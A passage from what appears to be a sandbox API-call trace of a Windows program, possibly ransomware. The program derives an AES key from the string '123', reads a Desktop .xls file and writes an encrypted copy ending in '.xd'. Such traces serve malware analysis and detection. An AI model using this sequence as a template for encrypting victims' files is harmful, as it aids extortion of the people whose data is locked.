wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.226] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.226] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.226] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0081.226] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.226] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.226] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.226] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.226] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.227] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.227] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.227] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.227] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.227] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.227] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.227] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.227] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.227] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.227] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.227] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.227] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.227] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0081.228] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0081.228] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0081.228] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.228] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.228] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.228] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0081.228] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0081.228] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0081.228] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.229] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.229] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.229] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0081.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0081.229] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0081.229] CryptHashData (hHash=0x164c4f0, pbData=0x16293e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0081.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.229] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.229] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.229] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.229] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.230] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0081.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0081.230] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0081.230] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0081.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.230] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.230] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.230] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0081.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0081.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0081.231] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0081.231] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0081.231] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.231] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.231] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vsnpq2d9.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0081.232] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.232] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0081.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.232] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.232] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0081.232] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vsnpq2d9.xls.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0081.233] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.233] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.233] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.233] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.235] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0081.235] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc2e7, lpOverlapped=0x0) returned 1 [0081.237] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0081.240] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.243] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.243] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0081.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.243] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0081.243] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.243] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0081.244] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.244] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.244] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.244] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0081.244] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0081.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0081.244] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0081.244] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0081.244] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.244] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.245] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.245] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.245] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.245] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.245] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.246] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.247] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.247] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xc2e7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc2f0) returned 1 [0081.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.247] CharLowerBuffW (in: lpsz="byte[49905]", cchLength=0xb | out: lpsz="byte[49905]") returned 0xb [0081.247] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 